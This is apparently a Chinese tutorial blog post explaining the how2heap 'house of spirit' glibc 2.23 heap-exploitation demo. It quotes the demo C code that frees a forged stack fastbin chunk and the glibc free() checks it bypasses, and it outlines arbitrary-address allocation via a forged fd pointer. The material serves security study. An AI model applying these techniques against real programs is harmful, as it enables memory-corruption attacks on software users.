本文主要是介绍how2heap-2.23-12-house_of_spirit,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
house_of_spirit 注意事项
house_of_spirit
:将一个地址伪造成符合fast bin大小的chunk,将其释放进fastbin中,同时伪造其中的fd指针,达到任意地址分配
伪造的chunk的大小,为什么是fast bin大小范围内的chunk?
- 如果伪造的地址是在堆中,伪造成任何大小都没有关系;
- 但是对于大于
get_max_fast
的chunk,在_int_free
函数中,会chunk的的地址做检查,绕不过去
nextchunk = chunk_at_offset(p, size); // 【1】如果伪造的chunk不在堆中,那nextchunk也不做堆中/* Lightweight tests: check whether the block is already thetop block. */if (__glibc_unlikely(p == av->top)){errstr = "double free or corruption (top)";goto errout;}/* Or whether the next chunk is beyond the boundaries of the arena. */// 【2】这里的if检查就绕不过去if (__builtin_expect(contiguous(av) && (char *)nextchunk >= ((char *)av->top + chunksize(av->top)), 0)){errstr = "double free or corruption (out)";goto errout;}
#include <stdio.h>
#include <stdlib.h>int main()
{fprintf(stderr, "This file demonstrates the house of spirit attack.\n");fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");malloc(1); // 【1】fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");unsigned long long *a;// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); // 【2】fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");fake_chunks[1] = 0x40; // this is the size // 【3】fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8fake_chunks[9] = 0x1234; // nextsize // 【4】fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");a = &fake_chunks[2]; // 【5】fprintf(stderr, "Freeing the overwritten pointer.\n");free(a); // 【6】fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}
【1】目的
因为是要释放伪造的chunk,在伪造chunk释放后需要挂到bins中,需要有堆管理器相关的结构体
【2】目的
需要绕过对chunk地址的对其检查
if (__glibc_unlikely(size < MINSIZE || !aligned_OK(size))){errstr = "free(): invalid size";goto errout;}
【3】目的
__libc_free
会根据chunk的IS_MMAPPED
位,判断是通过munmap_chunk
进行释放,还是通过_int_free
进行释放
if (chunk_is_mmapped(p)) /* release mmapped memory. */{/* see if the dynamic brk/mmap threshold needs adjusting */if (!mp_.no_dyn_threshold && p->size > mp_.mmap_threshold && p->size <= DEFAULT_MMAP_THRESHOLD_MAX){mp_.mmap_threshold = chunksize(p);mp_.trim_threshold = 2 * mp_.mmap_threshold;LIBC_PROBE(memory_mallopt_free_dyn_thresholds, 2,mp_.mmap_threshold, mp_.trim_threshold);}munmap_chunk(p);return;}ar_ptr = arena_for_chunk(p);_int_free(ar_ptr, p, 0);
当然,下面这样写都可以
fake_chunks[1] = 0x40;
fake_chunks[1] = 0x41;
【4】目的
为了绕过伪造的chunk,虚拟地址相邻下面的chunk大小检查
if (__builtin_expect(chunk_at_offset(p, size)->size <= 2 * SIZE_SZ, 0) || __builtin_expect(chunksize(chunk_at_offset(p, size)) >= av->system_mem, 0))
house_of_spirit的一般利用
chunk a溢出写chunk b的size位,释放chunk b,再申请回chunk b,达到读写chunk c内容的目的
在栈中伪造chunk,释放chunk后,伪造chunk的fd,再经过两次申请达到任意地址分配
这篇关于how2heap-2.23-12-house_of_spirit的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!